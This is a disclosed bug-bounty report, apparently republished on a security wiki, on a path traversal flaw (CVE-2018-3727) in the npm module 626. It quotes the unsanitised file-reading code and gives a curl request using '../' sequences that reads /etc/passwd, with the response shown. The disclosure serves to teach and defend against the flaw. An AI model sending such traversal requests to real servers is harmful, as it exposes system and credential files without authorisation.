Skip to content
Path traversal Disclosed report Beginner CVE-2018-3727

[626] Path Traversal allows to read arbitrary file from remote server

The 626 npm module serves files without sanitising the requested path, so an attacker can use directory traversal to read any file on the server. This allows reading sensitive files such as the system password file.

bl4de Follow

Originally disclosed on HackerOne

High 8.6 View original
  • Triaged in 37 hours
  • Fixed in 26 days
  • Disclosed after 26 days

Hi Guys,

There is Path Traversal vulnerability in 626 module, which allows to read arbitrary file from the remote server.

Module

626

This package exposes a directory and its children to create, read, update, and delete operations over http.

https://www.npmjs.com/package/626

version: 1.1.1

Stats 0 downloads in the last day 19 downloads in the last week 103 downloads in the last month

~1200 estimated downloads per year

Description

This vulnerability exists, because there is no sanitization of path of requested file:

JavaScript
// node_modules/626/index.js, line 15:

    var url = resolveUrl(req.url);
    var file = path.resolve(url);
    log(url + ': ' + file);

    fs.readFile(file, 'utf8', function (err, content) {
        if (err) {
            return res.end('error: file not found ' + file);
        }

Steps To Reproduce:

  • install 626 module
$ npm install 626
  • run server from command line:
$ ./node_modules/626/index.js
Listening on 8080
  • use following command to confirm the vulnerability (pelase adjust number of ../ to reflect your system):
$ curl -v --path-as-is http://127.0.0.1:8080/../../../../etc/passwd

Result:

$ curl -v --path-as-is http://127.0.0.1:8080/../../../../etc/passwd
*   Trying 192.168.1.1...
* TCP_NODELAY set
* Connected to 192.168.1.1 (192.168.1.1) port 8080 (#0)
> GET /../../../../../etc/passwd HTTP/1.1
> Host: 192.168.1.1:8080
> User-Agent: curl/7.54.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Date: Wed, 31 Jan 2018 22:51:06 GMT
< Connection: keep-alive
< Content-Length: 6774
<
##
# User Database
#
# Note that this file is consulted directly only when the system is running
# in single-user mode.  At other times this information is provided by
# Open Directory.
#
# See the opendirectoryd(8) man page for additional information about
# Open Directory.
##
nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false
root:*:0:0:System Administrator:/var/root:/bin/sh
(...)

Supporting Material/References:

Configuration:

  • macOS 10.13.3
  • Chromium 66.0.3331.0 (Developer Build) (64-bit)
  • Node.js version: v8.9.3
  • npm version: 5.5.1
  • curl 7.54.0

Please feel free to invite module maintainer to this report. I haven't contacted maintainer as I want to keep the process of fixing and disclosing bug consistent through HackerOne platform only.

I hope my report will help to keep Node.js ecosystem and its users safe in the future.

Regards,

Rafal 'bl4de' Janicki

Impact

This vulnerability allows to read content of any file on the remote server where 626 is run.

The original report as published on HackerOne, by bl4de. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The module does not sanitise the requested file path before resolving it and reading the file.

Impact

An attacker could read the content of any file on the remote server where the module is running.

What the attacker needed

The 626 module is running on a server; network access to the server

How it was found

  1. Install the 626 module.
  2. Run the server from the command line.
  3. Send a request with directory traversal sequences to read a system file.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A web server that serves files should only allow access to files inside its intended folder. Here, the server takes the path from the URL and uses it directly, so adding '../' sequences lets you climb out of that folder and read other files on the machine, like the list of user accounts.

What is Path traversal?

Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.

More by bl4de

View all

42 more disclosed reports, best first.

More from Node.js third-party modules

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Path traversal and file inclusion

The lesson behind this report.

Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.